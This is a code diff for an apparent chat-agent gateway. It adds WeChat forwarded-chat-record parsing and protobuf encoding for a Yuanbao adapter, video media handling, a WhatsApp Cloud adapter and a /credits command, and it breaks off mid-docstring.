name = "classify-msg-type"
|
||||
|
||||
@staticmethod
|
||||
def _classify(text: str, msg_body: list) -> MessageType:
|
||||
"""Classify message type based on text and msg_body."""
|
||||
def _classify(text: str, msg_body: list):
|
||||
"""Classify message type based on text and msg_body.
|
||||
|
||||
Returns a base :class:`MessageType`, or a yuanbao-local
|
||||
:class:`YuanbaoMessageType` for platform-specific subtypes.
|
||||
"""
|
||||
if text.startswith("/"):
|
||||
return MessageType.COMMAND
|
||||
for elem in msg_body:
|
||||
@@ -2185,6 +2282,14 @@ class ClassifyMessageTypeMiddleware(InboundMiddleware):
|
||||
return MessageType.VIDEO
|
||||
if etype == "TIMFileElem":
|
||||
return MessageType.DOCUMENT
|
||||
if etype == "TIMCustomElem":
|
||||
data_str = (elem.get("msg_content") or {}).get("data", "")
|
||||
try:
|
||||
custom = json.loads(data_str)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
custom = None
|
||||
if isinstance(custom, dict) and custom.get("elem_type") == 1009:
|
||||
return YuanbaoMessageType.CHAT_RECORD
|
||||
return MessageType.TEXT
|
||||
|
||||
async def handle(self, ctx: InboundContext, next_fn) -> None:
|
||||
@@ -2266,6 +2371,180 @@ class QuoteContextMiddleware(InboundMiddleware):
|
||||
await next_fn()
|
||||
|
||||
|
||||
class ForwardedRecordsParseMiddleware(InboundMiddleware):
|
||||
"""Deep-parse WeChat forwarded chat records (elem_type 1009) for dispatch.
|
||||
|
||||
Activates when a full ``ForwardMsgData`` dict is available on the current
|
||||
turn, carried by the current message (``ctx.forwarded_records``).
|
||||
Resolves media to ``[kind|ybres:RID]``
|
||||
placeholders, appends downloadable refs to ``ctx.media_refs`` (for
|
||||
:class:`MediaResolveMiddleware`), and rewrites ``ctx.raw_text``.
|
||||
|
||||
Group @bot turns *without* a forward on the current message rely on the
|
||||
eagerly-rendered summaries that :class:`GroupAtGuardMiddleware` writes to
|
||||
the transcript at observe time — there is no run-time summary fallback
|
||||
here.
|
||||
|
||||
On any failure the middleware leaves ``ctx.raw_text`` untouched
|
||||
(graceful degradation, design §2.8).
|
||||
"""
|
||||
|
||||
name = "forwarded-records-parse"
|
||||
|
||||
async def handle(self, ctx: InboundContext, next_fn) -> None:
|
||||
try:
|
||||
if ctx.forwarded_records:
|
||||
self._send_loading_heartbeat(ctx)
|
||||
ctx.raw_text = self.build_forward_text(ctx.forwarded_records, ctx=ctx, is_dispatch=True)
|
||||
except Exception as exc:
|
||||
# Degrade gracefully: leave ctx.raw_text as-is.
|
||||
logger.warning(
|
||||
"[%s] forwarded-records deep parse failed: %s",
|
||||
getattr(ctx.adapter, "name", "yuanbao"), exc,
|
||||
)
|
||||
|
||||
await next_fn()
|
||||
|
||||
# -- Heartbeat ---------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
async def _send_loading_heartbeat(ctx: InboundContext) -> None:
|
||||
"""Best-effort RUNNING heartbeat so the user sees a loading bubble."""
|
||||
try:
|
||||
await ctx.adapter._outbound.heartbeat.send_heartbeat_once(
|
||||
ctx.chat_id, WS_HEARTBEAT_RUNNING,
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# -- Record rendering helpers -----------------------------------------
|
||||
|
||||
@classmethod
|
||||
def _media_marker(
|
||||
cls, media: dict, plain_text: str = "",
|
||||
) -> Tuple[str, Optional[Dict[str, str]]]:
|
||||
"""Render one ``msgContent.multimedia`` entry as a textual marker.
|
||||
|
||||
Returns ``(marker, ref)``. Downloadable media emits a
|
||||
``[kind|ybres:RID]`` marker and a ``ctx.media_refs`` ref dict when a
|
||||
usable RID/URL is present; otherwise a plain ``[kind] name`` marker
|
||||
and ``ref=None``.
|
||||
"""
|
||||
media_type = (media.get("type", "") or media.get("doc_type", "")).strip().lower()
|
||||
url = str(media.get("url") or "").strip()
|
||||
media_id = str(media.get("media_id") or "").strip()
|
||||
file_name = str(media.get("file_name") or "").strip()
|
||||
# media_id is directly usable as a ybres RID (design §2.10.9);
|
||||
# fall back to parsing the resourceId out of the URL.
|
||||
rid = media_id or ExtractContentMiddleware._parse_resource_id(url)
|
||||
|
||||
if media_type == "image":
|
||||
if url and rid:
|
||||
return f"[image|ybres:{rid}] {file_name}".rstrip(), {"kind": "image", "url": url}
|
||||
return f"[image] {file_name or plain_text}".rstrip(), None
|
||||
|
||||
if media_type in ("file", "document", "code"):
|
||||
if url and rid:
|
||||
ref: Dict[str, str] = {"kind": "file", "url": url}
|
||||
if file_name:
|
||||
ref["name"] = file_name
|
||||
return f"[file|ybres:{rid}] {file_name}".rstrip(), ref
|
||||
return f"[file] {file_name}".rstrip(), None
|
||||
|
||||
if media_type == "url":
|
||||
# Link share (e.g. WeChat article) — keep URL for the agent.
|
||||
link_title = file_name or str(media.get("title") or "")
|
||||
return f"[link] {link_title} {url}".rstrip(), None
|
||||
|
||||
if media_type == "video":
|
||||
if url and rid:
|
||||
return f"[video|ybres:{rid}] {file_name}".rstrip(), {"kind": "video", "url": url}
|
||||
return f"[video] {file_name or url}".rstrip(), None
|
||||
|
||||
return f"[{media_type or 'media'}] {url or file_name}".rstrip(), None
|
||||
|
||||
# Per-record combined-text cap; record count is NOT capped (design §2.10.3).
|
||||
FORWARD_MSG_TEXT_MAX_CHARS = 1000
|
||||
|
||||
@classmethod
|
||||
def _walk_forward_msgs(
|
||||
cls,
|
||||
forward_data: dict,
|
||||
) -> Iterator[Tuple[str, str, List[Dict[str, str]]]]:
|
||||
"""Walk ``ForwardMsgData['msg']`` and yield ``(sender, body, refs)``.
|
||||
|
||||
Per-record dispatch over ``msgContent`` (text / multimedia / nested
|
||||
forward / fallback); ``body`` is capped at
|
||||
:attr:`FORWARD_MSG_TEXT_MAX_CHARS`. Media goes through
|
||||
:meth:`_media_marker`, always building full ``[kind|ybres:RID]``
|
||||
markers; ``refs`` holds that record's downloadable ``ctx.media_refs``
|
||||
entries in textual order — the order PatchAnchorsMiddleware relies on
|
||||
(design §2.10.6). Headers / footers are the caller's job.
|
||||
"""
|
||||
for msg in (forward_data.get("msg") if isinstance(forward_data, dict) else None) or []:
|
||||
if not isinstance(msg, dict):
|
||||
continue
|
||||
sender = msg.get("sender", "")
|
||||
plain_text = msg.get("plainText", "")
|
||||
msg_contents = msg.get("msgContent", []) or []
|
||||
|
||||
refs: List[Dict[str, str]] = []
|
||||
if not msg_contents:
|
||||
rendered = plain_text
|
||||
else:
|
||||
parts: List[str] = []
|
||||
for mc in msg_contents:
|
||||
if not isinstance(mc, dict):
|
||||
continue
|
||||
mc_type = mc.get("type", 0) # EnumMsgContentType
|
||||
if mc_type == 1: # TEXT
|
||||
parts.append(mc.get("text", ""))
|
||||
elif mc_type == 2: # MULTIMEDIA
|
||||
for media in mc.get("multimedia", []) or []:
|
||||
if isinstance(media, dict):
|
||||
marker, ref = cls._media_marker(
|
||||
media, plain_text,
|
||||
)
|
||||
parts.append(marker)
|
||||
if ref is not None:
|
||||
refs.append(ref)
|
||||
elif mc_type == 3: # nested FORWARD_MSG (design §2.10.10)
|
||||
parts.append("[嵌套聊天记录]")
|
||||
else:
|
||||
if plain_text:
|
||||
parts.append(plain_text)
|
||||
rendered = " ".join(p for p in parts if p) or plain_text
|
||||
|
||||
if len(rendered) > cls.FORWARD_MSG_TEXT_MAX_CHARS:
|
||||
rendered = rendered[: cls.FORWARD_MSG_TEXT_MAX_CHARS] + "…(已截断)"
|
||||
yield sender, rendered, refs
|
||||
|
||||
# -- Prompt builders ---------------------------------------------------
|
||||
|
||||
@classmethod
|
||||
def build_forward_text(
|
||||
cls, forward_data: dict, *, ctx: InboundContext, is_dispatch: bool,
|
||||
) -> str:
|
||||
"""Render ``ForwardMsgData`` into forward text.
|
||||
|
||||
Body lines are ``发送人:正文`` with full ``[kind|ybres:RID]`` media
|
||||
markers preserved. When ``is_dispatch`` is true, refs are appended to
|
||||
``ctx.media_refs`` for downstream resolution and a ``用户附言:
|
||||
{ctx.raw_text}`` footer is added; observed callers skip both since
|
||||
no later middleware runs.
|
||||
"""
|
||||
nickname = ctx.sender_nickname or "用户"
|
||||
lines = [f"当前用户的昵称为{nickname}", "以下为用户的聊天记录"]
|
||||
for sender, body, refs in cls._walk_forward_msgs(forward_data):
|
||||
lines.append(f"{sender}:{body}")
|
||||
if is_dispatch:
|
||||
ctx.media_refs.extend(refs)
|
||||
text = "\n".join(lines)
|
||||
if is_dispatch and ctx.raw_text.strip():
|
||||
text += f"\n\n用户附言:{ctx.raw_text.strip()}"
|
||||
return text
|
||||
|
||||
|
||||
class MediaResolveMiddleware(InboundMiddleware):
|
||||
"""Resolve inbound media references to downloadable URLs."""
|
||||
|
||||
@@ -2273,9 +2552,6 @@ class MediaResolveMiddleware(InboundMiddleware):
|
||||
|
||||
# --- Resource download cache (keyed by resourceId) ---
|
||||
# Avoids redundant downloads of the same resource within the TTL window.
|
||||
# The same resourceId can be referenced multiple times in a session (own
|
||||
# attachment, then quoted again, then observed in a group backfill); each
|
||||
# reference otherwise triggers a fresh token exchange + download.
|
||||
_resource_cache: ClassVar[Dict[str, Tuple[str, str, float]]] = {} # rid -> (local_path, mime, ts)
|
||||
_RESOURCE_CACHE_TTL_S: ClassVar[int] = 24 * 60 * 60 # 24 hours
|
||||
_RESOURCE_CACHE_MAX_SIZE: ClassVar[int] = 256
|
||||
@@ -2451,6 +2727,15 @@ class MediaResolveMiddleware(InboundMiddleware):
|
||||
cls._put_cached_resource(resource_id, local_path, mime)
|
||||
return local_path, mime
|
||||
|
||||
if kind == "video":
|
||||
# Yuanbao video resources carry no reliable extension; default to mp4.
|
||||
local_path = cache_video_from_bytes(file_bytes)
|
||||
mime = guess_mime_type(local_path) or (
|
||||
content_type if content_type.startswith("video/") else "video/mp4"
|
||||
)
|
||||
cls._put_cached_resource(resource_id, local_path, mime)
|
||||
return local_path, mime
|
||||
|
||||
# kind == "file"
|
||||
if not file_name:
|
||||
parsed = urllib.parse.urlparse(fetch_url)
|
||||
@@ -2572,14 +2857,22 @@ class MediaResolveMiddleware(InboundMiddleware):
|
||||
if not history:
|
||||
return [], []
|
||||
|
||||
start = max(0, len(history) - OBSERVED_MEDIA_BACKFILL_LOOKBACK)
|
||||
# Walk the most recent LOOKBACK messages newest→oldest so that when we
|
||||
# hit the per-turn resolve cap we keep the *latest* media references,
|
||||
# not the oldest ones in the window. Within a single message, also
|
||||
# iterate matches in reverse so the last-added image wins on ties.
|
||||
# Final ``order`` is reversed back to chronological (old→new) before
|
||||
# handing off to ``_resolve_ybres_refs`` so downstream prompt insertion
|
||||
# preserves natural reading order.
|
||||
window = history[-OBSERVED_MEDIA_BACKFILL_LOOKBACK:]
|
||||
order: List[Tuple[str, str, str]] = [] # (rid, kind, filename)
|
||||
seen: set = set()
|
||||
for msg in history[start:]:
|
||||
for msg in reversed(window):
|
||||
content = msg.get("content")
|
||||
if not isinstance(content, str) or "|ybres:" not in content:
|
||||
continue
|
||||
for m in _YB_RES_REF_RE.finditer(content):
|
||||
matches = list(_YB_RES_REF_RE.finditer(content))
|
||||
for m in reversed(matches):
|
||||
head = m.group(1) # "image" | "file:<name>" | "voice" | "video"
|
||||
rid = m.group(2)
|
||||
kind, _, filename = head.partition(":")
|
||||
@@ -2595,6 +2888,9 @@ class MediaResolveMiddleware(InboundMiddleware):
|
||||
if len(order) >= OBSERVED_MEDIA_BACKFILL_MAX_RESOLVE_PER_TURN:
|
||||
break
|
||||
|
||||
# Restore chronological order (oldest→newest) for downstream resolution.
|
||||
order.reverse()
|
||||
|
||||
if not order:
|
||||
return [], []
|
||||
|
||||
@@ -2640,9 +2936,7 @@ class MediaResolveMiddleware(InboundMiddleware):
|
||||
if not isinstance(text, str) or not text:
|
||||
return paths, mimes
|
||||
|
||||
# Already-local media paths written by PatchAnchorsMiddleware. The
|
||||
# generic anchor regex covers every kind _patch emits (image/file today,
|
||||
# video/audio if they later become resolvable) without per-kind upkeep.
|
||||
# Already-local media paths written by PatchAnchorsMiddleware.
|
||||
seen: set = set()
|
||||
for m in _YB_LOCAL_MEDIA_RE.finditer(text):
|
||||
kind = (m.group(1) or "").strip().lower()
|
||||
@@ -2756,6 +3050,8 @@ class PatchAnchorsMiddleware(InboundMiddleware):
|
||||
elif kind == "file":
|
||||
label = filename.strip() or os.path.basename(u)
|
||||
replacement = f"[file: {label} → {u}]"
|
||||
elif kind == "video":
|
||||
replacement = f"[video: {u}]"
|
||||
else:
|
||||
continue
|
||||
patched = (
|
||||
@@ -2790,7 +3086,11 @@ class DispatchMiddleware(InboundMiddleware):
|
||||
message_type=(
|
||||
MessageType.DOCUMENT
|
||||
if any(mt.startswith(("application/", "text/")) for mt in ctx.media_types)
|
||||
else ctx.msg_type
|
||||
# Coerce yuanbao-local subtypes (e.g. CHAT_RECORD) back to a
|
||||
# base MessageType: chat records are deep-parsed into a text
|
||||
# prompt, so TEXT is the right kind for downstream routing.
|
||||
else ctx.msg_type if isinstance(ctx.msg_type, MessageType)
|
||||
else MessageType.TEXT
|
||||
),
|
||||
source=ctx.source,
|
||||
message_id=ctx.msg_id or None,
|
||||
@@ -2889,6 +3189,7 @@ class InboundPipelineBuilder:
|
||||
GroupAttributionMiddleware,
|
||||
ClassifyMessageTypeMiddleware,
|
||||
QuoteContextMiddleware,
|
||||
ForwardedRecordsParseMiddleware,
|
||||
MediaResolveMiddleware,
|
||||
PatchAnchorsMiddleware,
|
||||
DispatchMiddleware,
|
||||
|
||||
@@ -492,6 +492,29 @@ def decode_biz_msg(data: bytes) -> dict:
|
||||
# field 10: url (string)
|
||||
# field 11: file_size (uint32)
|
||||
# field 12: file_name (string)
|
||||
# field 999: ext_map (map<string, string>) ← extension info for WeChat chat-history forwarding
|
||||
# protobuf map is wire-encoded as a repeated message entry; each entry has:
|
||||
# field 1: key (string)
|
||||
# field 2: value (string)
|
||||
# key format: wexin_forward_msg_[forward_msg_id]_[userid]
|
||||
# value: base64(ForwardMsgData protobuf) ← NOT JSON; it is base64-encoded
|
||||
# protobuf bytes that must be parsed with decode_forward_msg_data().
|
||||
|
||||
|
||||
def _encode_map_entry(key: str, value: str) -> bytes:
|
||||
"""Encode a single entry of a protobuf map<string, string> (field 1 key, field 2 value)."""
|
||||
buf = b""
|
||||
if key:
|
||||
buf += _encode_field(1, WT_LEN, _encode_string(str(key)))
|
||||
if value:
|
||||
buf += _encode_field(2, WT_LEN, _encode_string(str(value)))
|
||||
return buf
|
||||
|
||||
|
||||
def _decode_map_entry(data: bytes) -> tuple[str, str]:
|
||||
"""Decode a single entry of a protobuf map<string, string>, returning (key, value)."""
|
||||
fdict = _fields_to_dict(_parse_fields(data))
|
||||
return _get_string(fdict, 1), _get_string(fdict, 2)
|
||||
|
||||
|
||||
def _encode_msg_content(content: dict) -> bytes:
|
||||
@@ -518,6 +541,12 @@ def _encode_msg_content(content: dict) -> bytes:
|
||||
if url:
|
||||
img_buf += _encode_field(5, WT_LEN, _encode_string(url))
|
||||
buf += _encode_field(8, WT_LEN, _encode_message(img_buf))
|
||||
# ext_map (map<string, string>, field 999) — repeated message entries
|
||||
ext_map = content.get("ext_map")
|
||||
if isinstance(ext_map, dict):
|
||||
for k, v in ext_map.items():
|
||||
entry_bytes = _encode_map_entry(str(k), str(v))
|
||||
buf += _encode_field(999, WT_LEN, _encode_message(entry_bytes))
|
||||
return buf
|
||||
|
||||
|
||||
@@ -550,6 +579,14 @@ def _decode_msg_content(data: bytes) -> dict:
|
||||
imgs.append(img)
|
||||
if imgs:
|
||||
content["image_info_array"] = imgs
|
||||
# ext_map (field 999) — decode repeated map entries into a plain dict
|
||||
ext_map: dict[str, str] = {}
|
||||
for entry_bytes in _get_repeated_bytes(fdict, 999):
|
||||
k, v = _decode_map_entry(entry_bytes)
|
||||
if k:
|
||||
ext_map[k] = v
|
||||
if ext_map:
|
||||
content["ext_map"] = ext_map
|
||||
return content
|
||||
|
||||
|
||||
@@ -710,9 +747,178 @@ def decode_inbound_push(data: bytes) -> Optional[dict]:
|
||||
|
||||
|
||||
# ============================================================
|
||||
# 出站消息编码
|
||||
# WeChat forwarded chat-history parsing (ForwardMsgData)
|
||||
# ============================================================
|
||||
#
|
||||
# The value of ext_map["wexin_forward_msg_<id>_<userid>"] is a base64-encoded
|
||||
# ForwardMsgData protobuf (NOT JSON). Structure (verified against live captures):
|
||||
#
|
||||
# message ForwardMsgData {
|
||||
# uint32 sub_type = 1; // 1 = WeChat chat-history forward
|
||||
# uint32 begin_time = 2;
|
||||
# uint32 end_time = 3;
|
||||
# string nick_name = 4; // forwarder's WeChat nickname
|
||||
# repeated ForwardMsg msg = 5;
|
||||
# }
|
||||
# message ForwardMsg {
|
||||
# string sender = 1;
|
||||
# uint32 time = 2;
|
||||
# string plainText = 3;
|
||||
# repeated MsgContent msgContent = 4;
|
||||
# }
|
||||
# message MsgContent {
|
||||
# uint32 type = 1; // 1=TEXT, 2=MULTIMEDIA, 3=nested forward
|
||||
# string text = 2; // type==1
|
||||
# repeated Multimedia multimedia = 3; // type==2
|
||||
# }
|
||||
# message Multimedia {
|
||||
# string type = 1; // image / file / document / url / video
|
||||
# string url = 2;
|
||||
# string file_name = 4;
|
||||
# uint32 file_size = 5;
|
||||
# uint32 width = 6;
|
||||
# uint32 height = 7;
|
||||
# string media_id = 15; // can be used directly as a ybres RID
|
||||
# string res_type = 24;
|
||||
# }
|
||||
|
||||
|
||||
def _decode_forward_multimedia(data: bytes) -> dict:
|
||||
"""Decode a single Multimedia sub-message into the dict shape expected by _format_multimedia."""
|
||||
fdict = _fields_to_dict(_parse_fields(data))
|
||||
media: dict = {}
|
||||
mtype = _get_string(fdict, 1)
|
||||
if mtype:
|
||||
media["type"] = mtype
|
||||
url = _get_string(fdict, 2)
|
||||
if url:
|
||||
media["url"] = url
|
||||
file_name = _get_string(fdict, 4)
|
||||
if file_name:
|
||||
media["file_name"] = file_name
|
||||
file_size = _get_varint(fdict, 5)
|
||||
if file_size:
|
||||
media["file_size"] = file_size
|
||||
media_id = _get_string(fdict, 15)
|
||||
if media_id:
|
||||
media["media_id"] = media_id
|
||||
return media
|
||||
|
||||
|
||||
def _decode_forward_msg_content(data: bytes) -> dict:
|
||||
"""Decode a single MsgContent sub-message into {type, text?, multimedia?}."""
|
||||
fdict = _fields_to_dict(_parse_fields(data))
|
||||
content: dict = {"type": _get_varint(fdict, 1)}
|
||||
text = _get_string(fdict, 2)
|
||||
if text:
|
||||
content["text"] = text
|
||||
multimedia = [
|
||||
_decode_forward_multimedia(b) for b in _get_repeated_bytes(fdict, 3)
|
||||
]
|
||||
if multimedia:
|
||||
content["multimedia"] = multimedia
|
||||
return content
|
||||
|
||||
|
||||
def _decode_forward_msg(data: bytes) -> dict:
|
||||
"""Decode a single ForwardMsg sub-message into {sender, plainText, msgContent}."""
|
||||
fdict = _fields_to_dict(_parse_fields(data))
|
||||
return {
|
||||
"sender": _get_string(fdict, 1),
|
||||
"time": _get_varint(fdict, 2),
|
||||
"plainText": _get_string(fdict, 3),
|
||||
"msgContent": [
|
||||
_decode_forward_msg_content(b) for b in _get_repeated_bytes(fdict, 4)
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
def decode_forward_msg_data(data: bytes) -> Optional[dict]:
|
||||
"""Parse ForwardMsgData protobuf bytes (the base64-decoded ext_map value).
|
||||
|
||||
Args:
|
||||
data: ForwardMsgData protobuf bytes, after base64 decoding.
|
||||
|
||||
Returns:
|
||||
A dict matching the structure consumed by
|
||||
``ForwardedRecordsParseMiddleware.build_forward_text``
|
||||
(``sub_type`` / ``nick_name`` / ``msg`` list); ``None`` on parse failure.
|
||||
"""
|
||||
try:
|
||||
fdict = _fields_to_dict(_parse_fields(data))
|
||||
return {
|
||||
"sub_type": _get_varint(fdict, 1),
|
||||
"begin_time": _get_varint(fdict, 2),
|
||||
"end_time": _get_varint(fdict, 3),
|
||||
"nick_name": _get_string(fdict, 4),
|
||||
"msg": [_decode_forward_msg(b) for b in _get_repeated_bytes(fdict, 5)],
|
||||
}
|
||||
except Exception as e:
|
||||
if DEBUG_MODE:
|
||||
logger.debug("[yuanbao_proto] decode_forward_msg_data failed: %s", e)
|
||||
return None
|
||||
|
||||
|
||||
def _encode_forward_multimedia(media: dict) -> bytes:
|
||||
buf = b""
|
||||
for fn, key in [(1, "type"), (2, "url"), (4, "file_name"), (15, "media_id")]:
|
||||
v = media.get(key, "")
|
||||
if v:
|
||||
buf += _encode_field(fn, WT_LEN, _encode_string(str(v)))
|
||||
for fn, key in [(5, "file_size"), (6, "width"), (7, "height")]:
|
||||
v = media.get(key, 0)
|
||||
if v:
|
||||
buf += _encode_field(fn, WT_VARINT, _encode_varint(int(v)))
|
||||
return buf
|
||||
|
||||
|
||||
def _encode_forward_msg_content(content: dict) -> bytes:
|
||||
buf = _encode_field(1, WT_VARINT, _encode_varint(int(content.get("type", 0))))
|
||||
text = content.get("text", "")
|
||||
if text:
|
||||
buf += _encode_field(2, WT_LEN, _encode_string(str(text)))
|
||||
for media in content.get("multimedia") or []:
|
||||
buf += _encode_field(3, WT_LEN, _encode_message(_encode_forward_multimedia(media)))
|
||||
return buf
|
||||
|
||||
|
||||
def _encode_forward_msg(msg: dict) -> bytes:
|
||||
buf = b""
|
||||
sender = msg.get("sender", "")
|
||||
if sender:
|
||||
buf += _encode_field(1, WT_LEN, _encode_string(str(sender)))
|
||||
time_val = msg.get("time", 0)
|
||||
if time_val:
|
||||
buf += _encode_field(2, WT_VARINT, _encode_varint(int(time_val)))
|
||||
plain = msg.get("plainText", "")
|
||||
if plain:
|
||||
buf += _encode_field(3, WT_LEN, _encode_string(str(plain)))
|
||||
for mc in msg.get("msgContent") or []:
|
||||
buf += _encode_field(4, WT_LEN, _encode_message(_encode_forward_msg_content(mc)))
|
||||
return buf
|
||||
|
||||
|
||||
def encode_forward_msg_data(data: dict) -> bytes:
|
||||
"""Encode ForwardMsgData protobuf bytes (inverse of ``decode_forward_msg_data``).
|
||||
|
||||
Mainly used to build mock / test data; production code never needs to encode this.
|
||||
"""
|
||||
buf = _encode_field(1, WT_VARINT, _encode_varint(int(data.get("sub_type", 0))))
|
||||
for fn, key in [(2, "begin_time"), (3, "end_time")]:
|
||||
v = data.get(key, 0)
|
||||
if v:
|
||||
buf += _encode_field(fn, WT_VARINT, _encode_varint(int(v)))
|
||||
nick = data.get("nick_name", "")
|
||||
if nick:
|
||||
buf += _encode_field(4, WT_LEN, _encode_string(str(nick)))
|
||||
for msg in data.get("msg") or []:
|
||||
buf += _encode_field(5, WT_LEN, _encode_message(_encode_forward_msg(msg)))
|
||||
return buf
|
||||
|
||||
|
||||
# ============================================================
|
||||
# Outbound message encoding
|
||||
# ============================================================
|
||||
def _encode_send_c2c_req(
|
||||
to_account: str,
|
||||
from_account: str,
|
||||
@@ -724,7 +930,7 @@ def _encode_send_c2c_req(
|
||||
trace_id: str = "",
|
||||
) -> bytes:
|
||||
"""
|
||||
编码 SendC2CMessageReq biz payload。
|
||||
Encode a SendC2CMessageReq biz payload.
|
||||
|
||||
SendC2CMessageReq fields:
|
||||
1: msg_id (string)
|
||||
@@ -769,7 +975,7 @@ def _encode_send_group_req(
|
||||
trace_id: str = "",
|
||||
) -> bytes:
|
||||
"""
|
||||
编码 SendGroupMessageReq biz payload。
|
||||
Encode a SendGroupMessageReq biz payload.
|
||||
|
||||
SendGroupMessageReq fields:
|
||||
1: msg_id (string)
|
||||
@@ -816,18 +1022,20 @@ def encode_send_c2c_message(
|
||||
trace_id: str = "",
|
||||
) -> bytes:
|
||||
"""
|
||||
编码 C2C 发消息请求,返回完整 ConnMsg bytes(可直接发送到 WebSocket)。
|
||||
Encode a C2C send-message request and return the full ConnMsg bytes
|
||||
(ready to be sent over WebSocket).
|
||||
|
||||
Args:
|
||||
to_account: 收件人账号
|
||||
msg_body: 消息体列表,每个元素: {"msg_type": str, "msg_content": dict}
|
||||
例如: [{"msg_type": "TIMTextElem", "msg_content": {"text": "hello"}}]
|
||||
from_account: 发件人账号(机器人账号)
|
||||
msg_id: 消息唯一 ID(空时使用 req_id)
|
||||
msg_random: 随机数(防重)
|
||||
msg_seq: 消息序列号(可选)
|
||||
group_code: 来自群聊的私聊场景时填写
|
||||
trace_id: 链路追踪 ID
|
||||
to_account: recipient account
|
||||
msg_body: list of message-body elements; each item is
|
||||
{"msg_type": str, "msg_content": dict}.
|
||||
Example: [{"msg_type": "TIMTextElem", "msg_content": {"text": "hello"}}]
|
||||
from_account: sender account (the bot account)
|
||||
msg_id: unique message ID (req_id is used when empty)
|
||||
msg_random: random number for de-duplication
|
||||
msg_seq: message sequence number (optional)
|
||||
group_code: filled in for the "private chat originating from a group" case
|
||||
trace_id: trace ID for request tracing
|
||||
|
||||
Returns:
|
||||
ConnMsg bytes
|
||||
@@ -866,18 +1074,19 @@ def encode_send_group_message(
|
||||
trace_id: str = "",
|
||||
) -> bytes:
|
||||
"""
|
||||
编码群消息发送请求,返回完整 ConnMsg bytes(可直接发送到 WebSocket)。
|
||||
Encode a group send-message request and return the full ConnMsg bytes
|
||||
(ready to be sent over WebSocket).
|
||||
|
||||
Args:
|
||||
group_code: 群号
|
||||
msg_body: 消息体列表
|
||||
from_account: 发件人账号(机器人账号)
|
||||
msg_id: 消息唯一 ID
|
||||
to_account: 指定接收者(一般为空)
|
||||
random: 去重随机字符串
|
||||
msg_seq: 消息序列号
|
||||
ref_msg_id: 引用消息 ID
|
||||
trace_id: 链路追踪 ID
|
||||
group_code: group ID
|
||||
msg_body: list of message-body elements
|
||||
from_account: sender account (the bot account)
|
||||
msg_id: unique message ID
|
||||
to_account: targeted recipient (usually empty)
|
||||
random: random string for de-duplication
|
||||
msg_seq: message sequence number
|
||||
ref_msg_id: ID of the referenced (quoted) message
|
||||
trace_id: trace ID for request tracing
|
||||
|
||||
Returns:
|
||||
ConnMsg bytes
|
||||
|
||||
+24
-2
@@ -4684,7 +4684,8 @@ class GatewayRunner(GatewayAuthorizationMixin, GatewayKanbanWatchersMixin, Gatew
|
||||
# Warn if no user allowlists are configured and open access is not opted in
|
||||
_builtin_allowed_vars = (
|
||||
"TELEGRAM_ALLOWED_USERS", "DISCORD_ALLOWED_USERS",
|
||||
"WHATSAPP_ALLOWED_USERS", "SLACK_ALLOWED_USERS",
|
||||
"WHATSAPP_ALLOWED_USERS", "WHATSAPP_CLOUD_ALLOWED_USERS",
|
||||
"SLACK_ALLOWED_USERS",
|
||||
"SIGNAL_ALLOWED_USERS", "SIGNAL_GROUP_ALLOWED_USERS",
|
||||
"TELEGRAM_GROUP_ALLOWED_USERS",
|
||||
"TELEGRAM_GROUP_ALLOWED_CHATS",
|
||||
@@ -4702,7 +4703,8 @@ class GatewayRunner(GatewayAuthorizationMixin, GatewayKanbanWatchersMixin, Gatew
|
||||
)
|
||||
_builtin_allow_all_vars = (
|
||||
"TELEGRAM_ALLOW_ALL_USERS", "DISCORD_ALLOW_ALL_USERS",
|
||||
"WHATSAPP_ALLOW_ALL_USERS", "SLACK_ALLOW_ALL_USERS",
|
||||
"WHATSAPP_ALLOW_ALL_USERS", "WHATSAPP_CLOUD_ALLOW_ALL_USERS",
|
||||
"SLACK_ALLOW_ALL_USERS",
|
||||
"SIGNAL_ALLOW_ALL_USERS", "EMAIL_ALLOW_ALL_USERS",
|
||||
"SMS_ALLOW_ALL_USERS", "MATTERMOST_ALLOW_ALL_USERS",
|
||||
"MATRIX_ALLOW_ALL_USERS", "DINGTALK_ALLOW_ALL_USERS",
|
||||
@@ -6187,6 +6189,18 @@ class GatewayRunner(GatewayAuthorizationMixin, GatewayKanbanWatchersMixin, Gatew
|
||||
logger.warning("WhatsApp: Node.js not installed or bridge not configured")
|
||||
return None
|
||||
return WhatsAppAdapter(config)
|
||||
|
||||
elif platform == Platform.WHATSAPP_CLOUD:
|
||||
from gateway.platforms.whatsapp_cloud import (
|
||||
WhatsAppCloudAdapter,
|
||||
check_whatsapp_cloud_requirements,
|
||||
)
|
||||
if not check_whatsapp_cloud_requirements():
|
||||
logger.warning(
|
||||
"WhatsApp Cloud: aiohttp/httpx missing — reinstall hermes-agent"
|
||||
)
|
||||
return None
|
||||
return WhatsAppCloudAdapter(config)
|
||||
|
||||
elif platform == Platform.SLACK:
|
||||
from gateway.platforms.slack import SlackAdapter, check_slack_requirements
|
||||
@@ -7264,6 +7278,9 @@ class GatewayRunner(GatewayAuthorizationMixin, GatewayKanbanWatchersMixin, Gatew
|
||||
if canonical == "usage":
|
||||
return await self._handle_usage_command(event)
|
||||
|
||||
if canonical == "credits":
|
||||
return await self._handle_credits_command(event)
|
||||
|
||||
if canonical == "insights":
|
||||
return await self._handle_insights_command(event)
|
||||
|
||||
@@ -12548,6 +12565,11 @@ class GatewayRunner(GatewayAuthorizationMixin, GatewayKanbanWatchersMixin, Gatew
|
||||
if interrupt_depth == 0:
|
||||
agent._last_activity_ts = time.time()
|
||||
agent._last_activity_desc = "starting new turn (cached)"
|
||||
# Reset the SessionDB flush cursor so the new turn's messages are
|
||||
# fully persisted — a stale value from the previous turn would
|
||||
# cause `_flush_messages_to_session_db` to skip new rows (#44327).
|
||||
if hasattr(agent, "_last_flushed_db_idx"):
|
||||
agent._last_flushed_db_idx = 0
|
||||
agent._api_call_count = 0
|
||||
|
||||
def _release_evicted_agent_soft(self, agent: Any) -> None:
|
||||
|
||||
@@ -2942,6 +2942,40 @@ class GatewaySlashCommandsMixin:
|
||||
key = "gateway.branch.branched_one" if msg_count == 1 else "gateway.branch.branched_many"
|
||||
return t(key, title=branch_title, count=msg_count, parent=parent_session_id, new=new_session_id)
|
||||
|
||||
async def _handle_credits_command(self, event: MessageEvent) -> str:
|
||||
"""Handle /credits -- show Nous credit balance and the top-up handoff.
|
||||
|
||||
Renders the balance block + identity line + a tappable top-up URL that
|
||||
